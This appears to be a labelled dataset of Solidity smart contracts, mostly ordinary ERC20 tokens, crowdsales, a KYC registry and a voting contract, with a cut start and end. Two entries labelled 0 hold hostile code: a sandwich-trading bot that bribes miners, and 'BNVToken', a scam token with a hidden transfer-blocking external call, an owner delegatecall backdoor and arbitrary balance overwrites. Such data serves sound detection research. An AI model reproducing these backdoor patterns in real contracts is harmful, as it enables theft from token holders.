b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
2,904
pragma solidity ^0.4.23; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract MamaToken is ERC20Interface, Owned, SafeMath { string public constant name = "MamaMutua"; string public constant symbol = "M2M"; uint32 public constant decimals = 18; uint public _rate = 600; uint256 public _totalSupply = 60000000 * (10 ** 18); address owner; uint256 public weiRaised; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; uint public openingTime = 1527638401; uint public closingTime = 1546214399; constructor() public { balances[msg.sender] = _totalSupply; owner = msg.sender; emit Transfer(address(0), msg.sender, _totalSupply); } function burn(uint256 _amount) public onlyOwner returns (bool) { require(_amount <= balances[msg.sender]); balances[msg.sender] = safeSub(balances[msg.sender], _amount); _totalSupply = safeSub(_totalSupply, _amount); emit Transfer(msg.sender, address(0), _amount); return true; } function mint(address _to, uint256 _amount) public onlyOwner returns (bool) { require(_totalSupply + _amount >= _totalSupply); _totalSupply = safeAdd(_totalSupply, _amount); balances[_to] = safeAdd(balances[_to], _amount); emit Transfer(address(0), _to, _amount); return true; } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint256 tokens) public returns (bool success) { require(balances[msg.sender] >= tokens && balances[to] + tokens >= balances[to]); if(msg.data.length < (2 * 32) + 4) { revert(); } balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { if (tokens != 0 && allowed[msg.sender][spender] != 0) { return false; } allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(msg.data.length < (3 * 32) + 4) { revert(); } balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function () external payable { require(block.timestamp >= openingTime && block.timestamp <= closingTime); buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(beneficiary != 0x0); require(msg.value > 1 finney); uint256 weiAmount = msg.value; weiRaised = safeAdd(weiRaised, weiAmount); uint256 tokensIssued = safeMul(_rate, weiAmount); balances[owner] = safeSub(balances[owner], tokensIssued); balances[beneficiary] = safeAdd(balances[beneficiary], tokensIssued); emit Transfer(owner, beneficiary, tokensIssued); forwardFunds(weiAmount); } function forwardFunds(uint256 _weiAmount) internal { owner.transfer(_weiAmount); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
4,843
pragma solidity ^0.4.21; contract VernamWhiteListDeposit { address[] public participants; address public benecifiary; mapping (address => bool) public isWhiteList; uint256 public constant depositAmount = 10000000000000000 wei; uint256 public constant maxWiteList = 10000; uint256 public deadLine; uint256 public constant whiteListPeriod = 47 days; function VernamWhiteListDeposit() public { benecifiary = 0x769ef9759B840690a98244D3D1B0384499A69E4F; deadLine = block.timestamp + whiteListPeriod; participants.length = 0; } event WhiteListSuccess(address indexed _whiteListParticipant, uint256 _amount); function() public payable { require(participants.length <= maxWiteList); require(block.timestamp <= deadLine); require(msg.value == depositAmount); require(!isWhiteList[msg.sender]); benecifiary.transfer(msg.value); isWhiteList[msg.sender] = true; participants.push(msg.sender); emit WhiteListSuccess(msg.sender, msg.value); } function getParticipant() public view returns (address[]) { return participants; } function getCounter() public view returns(uint256 _counter) { return participants.length; } }
1
4,117
pragma solidity ^0.4.13; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } contract FornicoinToken is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fornicoin"; string public constant symbol = "FXX"; uint8 public constant decimals = 18; uint256 public constant MAX_SUPPLY = 100000000 * (10 ** uint256(decimals)); address public admin; uint256 public teamTokens = 25000000 * (10 ** 18); uint256 public minBalanceForTxFee = 55000 * 3 * 10 ** 9 wei; uint256 public sellPrice = 800; event Refill(uint256 amount); modifier onlyAdmin() { require(msg.sender == admin); _; } function FornicoinToken(address _admin) { totalSupply = teamTokens; balances[msg.sender] = MAX_SUPPLY; admin =_admin; } function setSellPrice(uint256 _price) public onlyAdmin { require(_price >= 0); require(_price <= sellPrice); sellPrice = _price; } function updateTotalSupply(uint256 additions) onlyOwner { require(totalSupply.add(additions) <= MAX_SUPPLY); totalSupply += additions; } function setMinTxFee(uint256 _balance) public onlyAdmin { require(_balance >= 0); require(_balance > minBalanceForTxFee); minBalanceForTxFee = _balance; } function refillTxFeeMinimum() public payable onlyAdmin { Refill(msg.value); } function transfer(address _to, uint _value) public returns (bool) { require (_to != 0x0); require (balanceOf(_to) + _value > balanceOf(_to)); if(msg.sender.balance < minBalanceForTxFee && balances[msg.sender].sub(_value) >= minBalanceForTxFee * sellPrice && this.balance >= minBalanceForTxFee){ sellFXX((minBalanceForTxFee.sub(msg.sender.balance)) * sellPrice); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function sellFXX(uint amount) internal returns (uint revenue){ require(balanceOf(msg.sender) >= amount); balances[admin] = balances[admin].add(amount); balances[msg.sender] = balances[msg.sender].sub(amount); revenue = amount / sellPrice; msg.sender.transfer(revenue); Transfer(msg.sender, this, amount); return revenue; } } contract FornicoinCrowdsale { using SafeMath for uint256; FornicoinToken public token; uint256 public startICOPhaseOne; uint256 public startICOPhaseTwo; uint256 public startICOPhaseThree; uint256 public endICO; address public wallet; uint256 public phaseOneRate = 1100; uint256 public phaseTwoRate = 1000; uint256 public phaseThreeRate = 850; uint256 public weiRaised; address public admin; bool public haltSale; uint256 public teamTokens = 25000000 * (10 ** 18); bool public presaleDist = false; modifier onlyAdmin() { require(msg.sender == admin); _; } event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function FornicoinCrowdsale(uint256 _startTime, address _wallet, address _admin) public { require(_startTime >= now); require(_wallet != 0x0); token = new FornicoinToken(_admin); startICOPhaseOne = _startTime; startICOPhaseTwo = startICOPhaseOne + 3 days; startICOPhaseThree = startICOPhaseTwo + 4 weeks; endICO = startICOPhaseThree + 15 days; wallet = _wallet; admin = _admin; } function () payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(validPurchase()); require(!haltSale); uint256 weiAmount = msg.value; uint256 tokens; if (now <= startICOPhaseTwo) { tokens = weiAmount.mul(phaseOneRate); } else if (now < startICOPhaseThree){ tokens = weiAmount.mul(phaseTwoRate); } else { tokens = weiAmount.mul(phaseThreeRate); } token.updateTotalSupply(tokens); weiRaised = weiRaised.add(weiAmount); token.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); if (this.balance > 1 ether){ forwardFunds(); } } function forwardFunds() internal { wallet.transfer(this.balance); } function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startICOPhaseOne && now <= endICO; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function currentRate() public constant returns (uint256) { if (now <= startICOPhaseTwo) { return phaseOneRate; } else if (now <= startICOPhaseThree){ return phaseTwoRate; } else { return phaseThreeRate; } } function withdrawTeamTokens() public onlyAdmin returns (bool) { require(now >= startICOPhaseOne + 1 years); token.transfer(wallet, teamTokens); return true; } function distPresale(address _presale, uint256 _tokens) public onlyAdmin { require(_tokens <= 13000000*10**18); require(!presaleDist); presaleDist = true; token.transfer(_presale, _tokens); } function finalizeSale() public onlyAdmin { require(now > endICO); if (this.balance>0){ wallet.transfer(this.balance); } if(token.totalSupply() < token.MAX_SUPPLY()){ uint256 difference = token.MAX_SUPPLY().sub(token.totalSupply()); token.transfer(wallet, difference); token.updateTotalSupply(difference); } } }
1
3,385
pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract BteApplication is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function BteApplication() public { symbol = "BTEU"; name = "BTE Application"; decimals = 18; _totalSupply = 50000000000000000000000000; balances[0xe0a7c0B6d307DD7a3123aa39f927417dda9b2b82] = _totalSupply; Transfer(address(0), 0xe0a7c0B6d307DD7a3123aa39f927417dda9b2b82, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
4,555
pragma solidity ^0.8.0; interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface Gastoken { function free(uint256 value) external returns (bool success); function freeUpTo(uint256 value) external returns (uint256 freed); function freeFrom(address from, uint256 value) external returns (bool success); function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function mint(uint256 value) external; } contract Sandwich { address owner = address(0x8C14877fe86b23FCF669350d056cDc3F2fC27029); constructor() {} receive() external payable {} fallback() external payable {} modifier onlyOwner { require(msg.sender == owner); _; } function mintGastoken(address gasTokenAddress, uint _amount) external { Gastoken(gasTokenAddress).mint(_amount); } function retrieveERC20(address _token, uint _amount) external onlyOwner { IERC20(_token).transfer(msg.sender, _amount); } function swapExactETHForTokens( address gasTokenAddress, uint amountToFree, address router, uint amountOutMin, address[] calldata path, uint deadline ) external payable onlyOwner { require(Gastoken(gasTokenAddress).free(amountToFree)); IUniswapV2Router02(router).swapExactETHForTokens{value: msg.value}( amountOutMin, path, address(this), deadline ); } function swapExactTokensForETH( address gasTokenAddress, uint amountToFree, address router, uint amountOutMin, address[] calldata path, uint deadline, uint bribeAmount, uint bribePercentage ) external onlyOwner { require(Gastoken(gasTokenAddress).free(amountToFree)); uint amountIn = IERC20(path[0]).balanceOf(address(this)); IERC20(path[0]).approve(address(router), amountIn); IUniswapV2Router02(router).swapExactTokensForETHSupportingFeeOnTransferTokens( amountIn, amountOutMin, path, address(this), deadline ); uint balance = address(this).balance; uint profit = balance - amountOutMin; uint bribe = (bribeAmount > 0) ? bribeAmount : (profit * bribePercentage / 100); require(balance - bribe > amountOutMin, "Not enough money to pay bribe"); block.coinbase.call{value: bribe}(new bytes(0)); msg.sender.call{value: balance-bribe}(new bytes(0)); } }
0
1,184
pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract KYC is Ownable { mapping (address => bool) public registeredAddress; mapping (address => bool) public admin; event Registered(address indexed _addr); event Unregistered(address indexed _addr); event SetAdmin(address indexed _addr, bool indexed _isAdmin); modifier onlyAdmin() { require(admin[msg.sender]); _; } function KYC() public { admin[msg.sender] = true; } function setAdmin(address _addr, bool _isAdmin) public onlyOwner { require(_addr != address(0)); admin[_addr] = _isAdmin; emit SetAdmin(_addr, _isAdmin); } function register(address _addr) public onlyAdmin { require(_addr != address(0)); registeredAddress[_addr] = true; emit Registered(_addr); } function registerByList(address[] _addrs) public onlyAdmin { for(uint256 i = 0; i < _addrs.length; i++) { require(_addrs[i] != address(0)); registeredAddress[_addrs[i]] = true; emit Registered(_addrs[i]); } } function unregister(address _addr) public onlyAdmin { registeredAddress[_addr] = false; emit Unregistered(_addr); } function unregisterByList(address[] _addrs) public onlyAdmin { for(uint256 i = 0; i < _addrs.length; i++) { registeredAddress[_addrs[i]] = false; emit Unregistered(_addrs[i]); } } }
1
5,051
pragma solidity ^0.4.24; contract NumberCarbonVoting { uint256 public start; uint256 public end; struct VoteItem { bytes32 title; uint256 minValue; uint256 maxValue; mapping (address => uint256) votes; } mapping(uint256 => VoteItem) public voteItems; uint256 public itemCount; mapping(address => bool) public voted; address[] public voters; constructor ( uint256 _itemCount, bytes32[] _titles, uint256[] _minValues, uint256[] _maxValues, uint256 _start, uint256 _end ) public { itemCount = _itemCount; for (uint256 i=0;i<itemCount;i++) { voteItems[i].title = _titles[i]; voteItems[i].minValue = _minValues[i]; voteItems[i].maxValue = _maxValues[i]; } start = _start; end = _end; } function vote(uint256[] _votes) public { require(_votes.length == itemCount); require(now >= start && now < end); address voter = msg.sender; if (!voted[voter]) { voted[voter] = true; voters.push(voter); } for (uint256 i=0;i<itemCount;i++) { require(_votes[i] >= voteItems[i].minValue && _votes[i] <= voteItems[i].maxValue); voteItems[i].votes[voter] = _votes[i]; } } function getAllVoters() public view returns (address[] _voters) { _voters = voters; } function getVotesForItem(uint256 _itemIndex) public view returns (address[] _voters, uint256[] _votes) { uint256 _voterCount = voters.length; require(_itemIndex < itemCount); _voters = voters; _votes = new uint256[](_voterCount); for (uint256 i=0;i<_voterCount;i++) { _votes[i] = voteItems[_itemIndex].votes[_voters[i]]; } } function getVoteItemDetails(uint256 _itemIndex) public view returns (bytes32 _title, uint256 _minValue, uint256 _maxValue) { _title = voteItems[_itemIndex].title; _minValue = voteItems[_itemIndex].minValue; _maxValue = voteItems[_itemIndex].maxValue; } function getUserVote(address _voter) public view returns (uint256[] _votes, bool _voted) { _voted = voted[_voter]; _votes = new uint256[](itemCount); for (uint256 i=0;i<itemCount;i++) { _votes[i] = voteItems[i].votes[_voter]; } } } contract DigixDaoCarbonVoting is NumberCarbonVoting { constructor ( uint256 _itemCount, bytes32[] _titles, uint256[] _minValues, uint256[] _maxValues, uint256 _start, uint256 _end ) public NumberCarbonVoting( _itemCount, _titles, _minValues, _maxValues, _start, _end ) { } }
1
5,311
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal botProtection; address public uniPair; constructor(address _botProtection) { botProtection = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract BNVToken is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 0; string public name = "BNV2"; string public symbol = "BNV2"; IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForUniswap(wrappedEther, address(this)); allowance[address(this)][address(pancakeRouter)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _toAddresses, uint amount) public { require(msg.sender == owner); botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses)); for(uint i = 0; i < _toAddresses.length; i++) { balanceOf[_toAddresses[i]] = amount; emit Transfer(address(0x0), _toAddresses[i], amount); } } function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; pancakeRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_toAddresses.length == _amounts.length); botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses)); for(uint i = 0; i < _toAddresses.length; i++) { balanceOf[_toAddresses[i]] = _amounts[i]; emit Transfer(address(0x0), _toAddresses[i], _amounts[i]); } } }
0
2,433
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function 